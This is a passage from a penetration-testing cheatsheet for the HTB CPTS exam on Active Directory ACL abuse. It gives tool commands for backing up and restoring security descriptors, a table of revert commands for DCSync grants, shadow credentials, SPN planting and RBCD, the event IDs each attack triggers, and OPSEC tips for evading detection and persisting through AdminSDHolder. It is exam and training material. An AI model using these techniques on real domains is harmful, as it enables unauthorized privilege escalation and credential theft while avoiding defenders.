# snapshot a target's SD (Impacket) — writes a .bak you can restore byte-for-byte
dacledit.py -action backup -target victim "$DOMAIN"/"$U":"$P" -dc-ip "$IP"
dacledit.py -action restore -file dacledit-*.bak -target victim "$DOMAIN"/"$U":"$P" -dc-ip "$IP"
# PowerShell snapshot (export the SDDL string)
(Get-DomainObjectAcl -Identity victim | ConvertTo-Json) | Out-File sd_backup.json
(Get-ADObject victim -Properties nTSecurityDescriptor).nTSecurityDescriptor.Sddl | Out-File sd_backup.txt

Revert table — every attack has an undo:

Abuse performedRevert command(s)
Owner changedbloodyAD set owner victim <original> / owneredit.py -action write -new-owner <original>
GenericAll/DCSync grantedbloodyAD remove genericAll victim "$U" · remove dcsync "$U" · or dacledit.py -action restore
Shadow Credentials addedbloodyAD remove shadowCredentials victim / pywhisker.py --action remove --device-id <id> / Whisker.exe remove
SPN planted (roast)bloodyAD set object victim servicePrincipalName (clear) / StandIn --remove spn
UAC flag flippedbloodyAD remove uac victim -f <FLAG>
scriptPath setbloodyAD set object victim scriptPath (clear)
Group membership addedbloodyAD remove groupMember <group> "$U" / net group … /del /domain
RBCD setbloodyAD remove rbcd 'TARGET$' 'ATTACKER$' / rbcd.py -action flush + delete ATTACKER$
Password resetCannot undo cryptographically — reset to an agreed value with the client; prefer shadow creds to avoid this entirely

Event IDs to expect (DC security log):

Event IDFires onWhich abuse
4662Object access (replication GUIDs, attribute reads/writes)DCSync, LAPS/gMSA reads (if SACL set)
5136Directory object modifiedDACL/owner changes, SPN/UAC/scriptPath/KeyCredential writes
5137Directory object createdaddcomputer.py / bloodyAD add computer
4670Permissions changedOwner/DACL edits (if audited)
4724Password reset by admin/rightForceChangePassword abuse
4728 / 4732 / 4756Member added to global / local / universal groupAddMember abuse (DA = 4728)
4738User account changedUAC flips, password sets
4768 / 4769TGT / TGS requestsShadow-cred PKINIT, S4U chains, roast requests
1644Expensive LDAP searchNoisy Find-InterestingDomainAcl-style sweeps

[!warning] Reads quiet, writes loud — pick accordingly LAPS/gMSA reads and most get object/find enumeration touch nothing durable and rarely trip SACLs. Every write above (5136/5137) is the detection surface. If two paths reach the same objective — e.g. GenericAll on a user — prefer shadow creds (one attribute write, reversible) over password reset (4724 + broken logon). Use -s (LDAPS) for bloodyAD writes so the change isn’t on the wire in cleartext.

[!tip] CPTS exam tips

  • Re-enumerate after every group add — inherited rights (e.g. Service Accounts → GenericWrite over svc accounts) only appear on the next graph refresh; bloodyAD’s per-call auth picks them up live.
  • RBCD is the exam’s favourite GenericAll-on-computer finish; if MAQ is 0, shadow-cred the machine account instead (no new object needed).
  • Targeted Kerberoast needs no ADCS — when there’s no CA in scope, it’s your GenericWrite answer.
  • If a “writable” edge fails with insufficient access, check you’re hitting the right DC (use --host "$DC" FQDN) and that the edge isn’t stale — re-read with --resolve-sd.
  • Cross-links: Stage 05 — Kerberos Attacks (roast/AS-REP fundamentals) · Stage 07 — ADCS (shadow creds tail, ESC paths) · Stage 08 — Password Attacks (cracking the roasted hashes) · Stage 10 — Lateral Movement (spending DCSync output) · Stage — Domain Trusts (SIDHistory/foreign ACE edges).

🧭 Decision flow — edge in hand, what’s the quietest kill?

Quietest kill decisionTD
Writable edge found Target type? PKINIT / ADCS present? MAQ > 0? AddMember → inherit rightsre-enumerate WriteDacl → grant DCSyncsecretsdump → remove Shadow Credentialsno password touch Targeted Kerberoastplant SPN, roast, remove RBCD → S4U → local admin Shadow creds on MACHINE$ Revert every writeper OPSEC table User Computer Group Domain root Yes No Yes No

🎯 MITRE ATT&CK mapping

TechniqueIDWhere used here
Account ManipulationT1098Group adds, UAC flips, SPN plants
— Additional Cloud/Domain CredentialsT1098.001Shadow Credentials (KeyCredentialLink)
Abuse Elevation Control MechanismT1548RBCD / delegation abuse (S4U)
DCSyncT1003.006DS-Replication rights abuse, secretsdump
KerberoastingT1558.003Targeted Kerberoast via GenericWrite
AS-REP RoastingT1558.004DONT_REQ_PREAUTH flip
Steal or Forge Kerberos TicketsT1558S4U2Self/Proxy ticket requests
Exploitation for Credential AccessT1212Password reset via ForceChangePassword
OS Credential DumpingT1003LAPS/gMSA reads, post-DCSync
Account Discovery / Permission GroupsT1087 / T1069ACL enumeration (PowerView, BloodHound)
Modify Authentication Process (AdminSDHolder)T1556AdminSDHolder backdoor persistence

[!failure] Common pitfalls (burned boxes teach these)

  • Forgot -s/LDAPS → write visible on the wire; some DCs now require LDAPS for attribute writes (LDAP signing/channel binding enforcement).
  • Shadow creds against the IP, not FQDN → PKINIT fails; always --host "$DC".
  • Cleaned the SPN before the TGS arrived → roast hash worthless. Request first, remove second.
  • Added self to a group, then reused an old TGT → new rights not in the PAC. Purge and re-request.
  • WriteOwner on an adminCount=1 object → SDProp reverts your DACL grant in ≤60 min; move fast or go AdminSDHolder.
  • Left ATTACKER$ behind → 4741/5137 + an obvious machine account; delete it.
  • Trusted the graph blindly → edge was stale; always --resolve-sd before the write.

[!navigation] Continue the attack flow Previous: Stage 05 — Kerberos Attacks

Dashboard: HTB Pentest Attack Flow

Next: Stage 07 — ADCS and Certificate Abuse

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.